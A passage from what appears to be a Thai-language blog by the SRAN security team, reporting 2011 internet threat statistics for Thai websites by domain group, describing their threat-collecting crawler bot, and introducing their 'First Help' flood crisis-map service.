4. Vulnerability : คือ ช่องโหว่ของโปรแกรม, แอฟลิเคชั่น (Application), OS (Operating System) ที่สามารถเข้าระบบ หรือทำให้ระบบไม่สามารถทำงานได้อย่างปกติ เป็นผลให้เกิดการโจมตีขึ้นได้

สรุปภาพรวมทั้งปี 2011 เกิดขึ้นจำนวน 5,442 ครั้ง ลงเมื่อเทียบกับปี 2010

5. Proxy : คือ Website / Domain / IP Address ที่ทำตัวเองเป็นตัวกลางในการติดต่อสื่อสาร ซึ่งมีโอกาสที่เป็นเครื่องมือของผู้ไม่ประสงค์ดี และเป็นช่องทางในการกระทำความผิดเกี่ยวกับอาชญากรรมคอมพิวเตอร์ เพื่อปิดบังค่า IP Address ที่แท้จริงของผู้ใช้งานได้

สรุปภาพรวมทั้งปี 2011 เกิดขึ้นจำนวน 12,709 ครั้ง เพิ่มขึ้นเมื่อเทียบกับปี 2010

ทั้งปี 2011 สรุปภัยคุกคามทั้ง 5 ประเภทรวมทั้งเป็น 26,394 ครั้ง เพิ่มขึ้นเมื่อเทียบกับปี 2010 ดูรายละเอียด
ประเภทองค์กรภายในประเทศไทย ที่พบภัยคุกคามเป็นภาพรวม

แบ่งเป็น 3 ชนิดภัยคุกคาม 7 กลุ่ม คือ ชนิดภัยคุกคามจะประกอบด้วย 7 กลุ่ม ดังนี้

ชนิดของภัยคุกคามทั้ง 3 ชนิดประกอบด้วย

ชนิดที่ 1 : เว็บไซต์ในประเทศไทยที่ถูกโจมตี ได้แก่ การโจมตีชนิดที่มีการเปลี่ยนแปลงข้อมูลในเว็บไซต์ (web defacement)
ชนิดที่ 2 : เว็บไซต์ในประเทศไทย ที่ตกเป็นฐานของฟิชชิ่ง (Phishing) จนกลายเป็นเว็บหลอกลวง
ชนิด ที่ 3 : เว็บไซต์ในประเทศไทย ที่ติดไวรัสคอมพิวเตอร์ ซึ่งส่วนใหญ่แล้วจะเป็นเว็บไซต์ที่ถูกโจมตีแล้วสามารถเข้าถึงระบบได้จากนั้น จึงนำ file ที่ติดไวรัสเข้ามาใส่ในเว็บไซต์เพื่อใช้หลอกให้ผู้ใช้งานติดไวรัสต่อไป
ภาพที่ 2 ภาพรวมค่าสะสมจากอดีตจนถึงปัจจุบันบนระบบฐานข้อมูลภัยคุกคามที่เกิดขึ้นในประเทศไทย เมื่อแยกตามประเภทขององค์กร

ในรอบปี 2011 ที่ผ่านประเภทองค์กรที่พบภัยคุกคามดังนี้

ภาพที่ 3 สถิติภัยคุกคามเมื่อทำแยกแยะตามประเภทขององค์กร ที่เกิดในรอบปี 2011

ซึ่งแยกแยะตามรายชื่อโดเมนตามชื่อหน่วยงาน ได้ 7 กลุ่ม
1. สำหรับการศึกษา (Academic) จำนวนที่พบภัยคุกคามคือ 1,433 ครั้ง
2. สำหรับบริษัทห้างร้าน (Commercial Companies) จำนวนที่พบภัยคุกคามคือ 1,162 ครั้ง
3. สำหรับรัฐบาล (Governmental Organizations) จำนวนที่พบภัยคุกคามคือ 3,406 ครั้ง
4. สำหรับทหาร (Military Organizations) จำนวนที่พบภัยคุกคามคือ 129 ครั้ง
5. สำหรับหน่วยงานที่ไม่หวังผลทางการค้า (Registered Non-profit Organizations) จำนวนที่พบภัยคุกคามคือ 90 ครั้ง
6. สำหรับผู้ให้บริการอินเทอร์เน็ต (officially registered Internet Service Providers) จำนวนที่พบภัยคุกคาม คือ 2 ครั้ง
7. สำหรับหน่วยงานทั่วไป (Individuals or any others) จำนวนที่พบภัยคุกคาม คือ 528 ครั้งบทวิเคราะห์
โดย รวมทิศทางข้อมูลเชิงสถิติภัยคุกคามที่เกิดขึ้นในประเทศไทยโดยรวมนั้นมีอัตรา สูงขึ้นอย่างต่อเนื่อง ซึ่งเป็นไปตามการเข้าถึงเทคโนโลยีอินเทอร์เน็ตที่มีอัตราการใช้งานเพิ่มขึ้น ทุกปีเช่นกัน ภัยคุกคามในแต่ละประเภทที่จัดทำเป็นสถิตินั้นเป็นภัยคุกคามที่เชื่อมโยง ถึงกันซึ่งอาจเกิดจากส่วนใดส่วนหนึ่งก่อนแล้วเกิดผลตามมา ยกตัวอย่างเช่น เกิดจาก Web Attack ก่อน เมื่อนักโจมตีระบบ (Hackers) เข้าถึงระบบ Web Application ได้แล้วก็จะทำการเข้าถึง Web Server และระบบปฏิบัติการ OS ตามลำดับจากนั้นทำการติดตั้ง Malware และทำให้ Website / Domain / IP Address นั้นเป็นพาหะที่ทำให้เกิดติดเชื้อ และแพร่กระจายกลายข้อมูลผ่าน Link ต่างๆ ตาม Web board , Social network หรือ e-mail ในลักษณะ Phishing เป็นต้น
ซึ่งผู้ใช้งานควรมีความตระหนักรู้เท่าทันภัยคุกคามและหมั่นตรวจ สอบความปลอดภัยข้อมูลเป็นระยะโดยดูช่องโหว่ (Vulnerability) ของซอฟต์แวร์ , OS ที่ตนเองมีอยู่ ใช้อยู่ หากมีการแจ้งเตือนช่องโหว่ควรศึกษาว่าช่องโหว่นั้นมีผลต่อการใช้งานอย่างไร หากเป็นช่องโหว่ที่เข้าถึงเครื่องคอมพิวเตอร์เราได้นั้นควรรีบแก้ไขโดยเร็ว อย่างมีสติ หากเป็นผู้ดูแลระบบนั้นต้องหมั่นดูแลเรื่องนี้เป็นพิเศษ
ที่น่าสนใจคือทิศทางของการใช้งาน Proxy ทั้งที่เป็น Proxy Server , Anonymous Proxy ซึ่งมีการใช้งานที่สูงขึ้นมากอาจเป็นต้องการรักษาความลับและความเป็นส่วนตัว ของผู้ใช้งานมากขึ้น และอีกประเด็นคือที่ระบบ SRAN ตรวจพบ Proxy เยอะก็เพราะอาจมีการเข้าถึงระบบโดยเข้ายึดเครื่องและแปลงสภาพเครื่องที่ยึด ได้นั้นมาเชื่อมต่อการใช้งานแบบ Proxy เพื่ออำพรางการกระทำใดบางอย่าง ซึ่งเทคนิคดังกล่าวนี้จะส่งผลให้การสืบสวนทางอินเทอร์เน็ตทำได้ยากลำบากมาก ขึ้นนั้นเอง โดย IP Address ที่พบในฐานข้อมูลก็บ่งบอกว่ามีทั้งเครื่องแม่ข่าย (Server) และ เครื่องลูกข่าย หรือเครื่องผู้ใช้งานทั่วไป จากเมื่อก่อนการทำ Proxy ได้นั้นควรจะเป็นเครื่องแม่ข่าย แต่นี้ก็แสดงถึงการยึดระบบนั้นเข้าถึงเครื่องใช้งานทั่วไปของคนปกติที่ ออนไลน์ตลอดเวลาไม่ว่าเป็นเครื่องตามบ้านผ่าน ADSL ความเร็วสูงหรือแม้กระทั่งบนสมาร์ทโฟนที่ online อินเทอร์เน็ตตลอดเวลา ซึ่งเทียบได้กับ Server ในอดีตแต่การเปลี่ยนค่า IP Address จะไม่คงที่เท่ากับเครื่อง Server ซึ่งเท่ากับว่าเราๆท่านๆอาจมีโอกาสเป็นเครื่องมือของผู้กระทำความผิดได้เช่น กัน

ด้วยความปรารถนาดีจาก ทีมพัฒนา SRAN
SRAN Dev Team

สวัสดีปีใหม่ครับ

ปล. ข้อมูลสถิติที่เกิดขึ้นนั้นเกิดจากซอฟต์แวร์ zemog bot (สีหมอกบอท) ที่เป็นงานวิจัยและพัฒนาขึ้นจากทีมงาน SRAN สร้างขึ้น หลักการณ์เป็นการทำงานแบบ crawler โดยสร้างเป็นบอท (robot) พิเศษที่มีความชาญฉลาดกว่า crawler ทั่วไป หน้าที่คือตรวจสอบข้อมูลเมื่อพบ ASN (Autonomous System Number)ในประเทศไทยแล้วค้นหาตาม IP Address / Domain ที่พบภัยคุกคามจากแหล่งข่าวต่างๆ บนโลกอินเทอร์เน็ต แล้วนำมานำรวบรวมข้อมูล คัดแยกข้อมูลแล้วนำเสนอเป็นข้อมูลเชิงสถิติ ซึ่งไม่ได้หมายความว่าตัวเลขที่พบเป็นภัยคุกคามที่เกิดขึ้นทั้งหมด แต่เป็นการเกิดจากบอทที่สร้างขึ้นและค้นพบในโลกอินเทอร์เน็ต

รายละเอียดเพิ่มเติมดูได้ที่ http://www.sran.net/statistic

SRAN จัดทำระบบสถิติภัยคุกคามทางอินเทอร์เน็ตในประเทศไทย

ทางทีมพัฒนา SRAN ไม่เคยหยุดน่ิงที่จะคิดค้นหาวิธีการเพื่อที่ทำให้สังคมไทยมีความตื่นตัวในด้านการรักษาความมั่นคงปลอดภัยข้อมูล
ก่อน หน้านี้ก็มีการจัดทำ SRAN Comic การ์ตูนเสริมสร้างความเข้าใจวิธีการป้องกันภัยคุกคามที่เกิดจากการใช้ระบบ สารสนเทศและอินเทอร์เน็ตมาแล้วในเว็บ http://comic.sran.org ซึ่งเหมาะกับคนทั่วไปและผู้ที่เริ่มต้นศึกษาด้าน IT Security
อีกทางหนึ่ง SRAN Technology ได้มีการรวบรวมสถิติภัยคุกคามทางอินเทอร์เน็ตในประเทศไทยขึ้นด้วยประสบการณ์ วิจัยและพัฒนาเทคโนโลยีสารสนเทศด้านความมั่นคงปลอดภัยข้อมูลมากว่า 10 ทำให้ SRAN คิดว่าควรจัดทำระบบที่เกี่ยวข้องกับสถิติภัยคุกคามเพื่อเป็นการแจ้งเหตุ และเตือนภัยให้กับหน่วยงานที่เกี่ยวข้องได้รับรู้ถึงภัยคุกคามที่เกิดขึ้น กับตนเอง เพื่อการปรับปรุงและพัฒนาให้เกิดความตะหนักและป้องกันภัยในอนาคตโดยตั้งชื่อ ว่า “ระบบสถิติภัยคุกคามทางอินเทอร์เน็ตในประเทศไทย”

ที่มา

ก่อน หน้านั้นหากเราต้องการหาข้อมูลในเชิงสถิติที่เกี่ยวข้องกับกับภัยคุกคามที่ เกิดขึ้นทางอินเทอร์เน็ต โดยเฉพาะเจาะจงไปที่ประเทศไทยแล้ว ยังไม่มีหน่วยงานใดได้มีการจัดทำสถิติอย่างเป็นทางการ
โดยกลุ่ม พัฒนา SRAN ได้ติดตามผลภัยคุกคามเหล่านี้มาโดยตลอด และเล็งเห็นว่าสมควรที่จะจัดทำเป็นระบบสถิติเพื่อเป็นการเตือนภัยหน่วยงาน ที่ถูกบุกคุกคาม จากนักโจมตีระบบโดยนักโจมตีระบบนั้นอาศัยช่องโหว่ตามระบบปฏิบัติการ ช่องโหว่ของระบบแอฟลิเคชั่น จนทำให้เว็บไซต์จำนวนหนึ่งในประเทศไทยตกเป็นเหยื่อ และเกิดผลพ่วงตามมาคือเป็นแหล่งเพาะเชื้อยิ่งถ้าเป็นเว็บหน่วยงานราชการหรือ ระบบการศึกษา กองทัพ บริษัทห้างร้าน นั้นแล้ว จะมีภัยคุกคามต่อผู้ใช้งานโดยตรงได้
ดังนั้นระบบที่ทาง SRAN ได้จัดทำขึ้นก็เพื่อเป็นการเตือนภัยให้ปรับปรุง/แก้ไข สำหรับผู้ดูแลเว็บไซต์ของหน่วยงานได้ปรับปรุงและให้บริการอย่างปลอดภัยมาก ขึ้นในอนาคต
เป้าหมายของระบบสถิติภัยคุกคามทางอินเทอร์เน็ตในประเทศไทย
1. เพื่อจัดทำเป็นสถิติภัยคุกคามทางอินเทอร์เน็ตในประเทศไทย ที่มีความน่าเชื่อถือ ความถูกต้องของข้อมูลและสามารถอ้างอิงเป็นเอกสารได้
2. เพื่อเตือนภัยให้กับหน่วยงานที่ประสบเหตุได้ปรับปรุงแก้ไขให้ปลอดภัย และป้องกันการแพร่เชื้อไม่ให้ติดต่อแก่ผู้ใช้งานทั่วไป
3. เพื่อจัดทำเป็นประวัติข้อมูลเพื่อสามารถสืบค้นข้อมูลย้อนหลังได้
4. เพื่อให้ผู้ดูแลระบบที่ระบบที่เกิดช่องโหว่ได้มีการพัฒนาปรับปรุงเพื่อปรับ ไม่ให้เกิดช่องโหว่ของระบบของหน่วยงานที่ตนเองได้ดูแลอยู่ได้
การดำเนินการ
รูป แบบการจัดทำสถิติภัยคุกคามทางอินเทอร์เน็ตในประเทศไทย ทีมพัฒนา SRAN ได้ตั้งเป้าเฉพาะการตรวจสอบที่เกิดจากเว็บไซต์ที่มี IP Address และ Domain name ที่เป็นสาธารณะ (Public) ที่บุคคลทั่วไปก็สามารถเข้าถึงข้อมูลได้
โดยแบ่งเป็น 3 ชนิดภัยคุกคาม 7 กลุ่ม คือ ชนิดภัยคุกคามจะประกอบด้วย 7 กลุ่ม ดังนี้
ซึ่งแยกแยะตามรายชื่อโดเมนตามชื่อหน่วยงาน
1. สำหรับการศึกษา (Academic) หรือ โดเมน ac.th
2. สำหรับบริษัทห้างร้าน (Commercial Companies) หรือ โดเมน co.th
3. สำหรับรัฐบาล (Governmental Organizations) หรือ โดเมน go.th
4. สำหรับทหาร (Military Organizations) หรือ โดเมน .mi.th
5. สำหรับหน่วยงานที่ไม่หวังผลทางการค้า (Registered Non-profit Organizations) หรือ โดเมน or.th
6. สำหรับผู้ให้บริการอินเทอร์เน็ต (officially registered Internet Service Providers) หรือ โดเมน net.th
7. สำหรับหน่วยงานทั่วไป (Individuals or any others) หรือ โดเมน in.th
ชนิดของภัยคุกคามทั้ง 3 ชนิดประกอบด้วย
ชนิดที่ 1 : เว็บไซต์ในประเทศไทยที่ถูกโจมตี ได้แก่ การโจมตีชนิดที่มีการเปลี่ยนแปลงข้อมูลในเว็บไซต์ (web defacement)
ชนิดที่ 2 : เว็บไซต์ในประเทศไทย ที่ตกเป็นฐานของฟิชชิ่ง (Phishing) จนกลายเป็นเว็บหลอกลวง
ชนิด ที่ 3 : เว็บไซต์ในประเทศไทย ที่ติดไวรัสคอมพิวเตอร์ ซึ่งส่วนใหญ่แล้วจะเป็นเว็บไซต์ที่ถูกโจมตีแล้วสามารถเข้าถึงระบบได้จากนั้น จึงนำ file ที่ติดไวรัสเข้ามาใส่ในเว็บไซต์เพื่อใช้หลอกให้ผู้ใช้งานติดไวรัสต่อไป
จะ เห็นว่าทั้ง 3 ชนิดภัยคุกคาม เป็นการเผยแพร่ข้อมูลทั่วไปผ่านระบบอินเทอร์เน็ต ซึ่งทำให้ผู้ใช้งานทั่วไปอาจตกเป็นเหยื่อได้ทุกเมื่อหากหลงผิดเข้าเว็บไซต์ ดังกล่าว
โดยทางกลุ่มพัฒนา SRAN ได้จัดทำระบบ Crawler Honeypot เพื่อสืบเสาะหาแหล่งข้อมูลจากหลายที่ ที่ได้รับความน่าเชื่อถือจากทั่วโลก และทำการกรองข้อมูลที่ได้มาจัดทำเป็นสถิติเพื่อใช้ในการวิเคราะห์ภัยคุกคาม และเตือนภัยให้กับหน่วยงานที่พบช่องโหว่ต่อไป
ผลการจัดทำ
จะพบว่าสถิติที่พบจนถึงวันที่ 3 กันยายน 2554 พบว่า
ชนิดที่ 1 : เว็บไซต์ในประเทศไทยที่ถูกโจมตี เริ่มมีการจัดเก็บข้อมูลตั้งแต่ปี ค.ศ. 1999 จนถึงปัจจุบัน
จะ เห็นว่าเว็บไซต์ในประเทศไทยที่ถูกโจมตีเป็นอันดับหนึ่งคือภาครัฐบาล (go.th) ตั้งแต่ปี ค.ศ. 1999 เป็นต้นมาจนถึงปัจจุบัน (3 กันยายน 2011) มีจำนวนถึง 4936 ครั้ง คิดเป็น 41.53% จากจำนวน 7 กลุ่มโดเมน

SRAN First Help : แผนที่สถานะการณ์


FIRST Help : แผนที่สถานการณ์ เพื่อใช้สำหรับสถานการณ์ฉุกเฉิน หรือ “Crisis map” เป็นแนวคิดที่จะช่วยเหลือผู้คนผ่านช่องทางอินเทอร์เน็ตสำหรับแจ้งเบาะแส และทำให้ผู้ที่ต้องการข้อมูลได้ทราบเพื่อเตรียมรับมือต่อสถานการณ์ที่เกิดขึ้น

ตั้งแต่ ช่วงต้นปีที่ผ่านมานี้ประเทศไทยของเราประสบปัญหาภัยพิบัติทางธรรมชาติอยู่ เป็นระยะๆ โดยเฉพาะปัญหาน้ำท่วม ดินถล่ม ถนนหลักใช้การไม่ได้ ดังนั้นกำลังเพียงเล็กน้อยของทีมงานเราได้แค่เพียงการจัดทำเทคโนโลยีเพื่อ ช่วยแจ้งเบาะแส ผ่านแผนที่สถานการณ์เพื่อช่วยบอกตำแหน่ง กำหนดจุดเกิดเหตุ และ สืบค้นหาข้อมูลย้อนหลังในแผนที่สถานะการณ์ได้ เพื่อประเมินสถานการณ์ได้อีกด้วย อีกทั้งมีการส่งข้อมูลผ่านช่องทางที่หลากหลาย เช่น ผ่านเว็บไซต์ ผ่านโปรแกรมมือถือ ซึ่งปัจจุบันเรามีการส่งผ่านมือถือเฉพาะ Android ซึ่งสามารถ download ได้ในเว็บไซต์ http://firsthelp.me ซึ่งในการส่งข้อมูลนั้นสามารถส่งได้ทั้งเป็น SMS , วิดีโอ , รูปภาพ ข่าวที่ผ่านช่องทาง RSS Feed จากเว็บไซต์ข่าว หรือ ช่องทาง Twitter และ Social Network ได้อีกด้วย
รายละเอียดเพิ่มเติม

http://nontawattalk.blogspot.com/2011/09/sran-first-help.html

ภาพตัวอย่างระบบแผนที่สถานการณ์ SRAN Firsthelp
เพื่อเป็นการเพิ่มช่องทางการแจ้งเตือนภัย ให้ครอบคลุมปัญหาต่างๆ ทางทีมงานพัฒนา SRAN จึงทำเป็น 5 หมวดหมู่ ดังนี้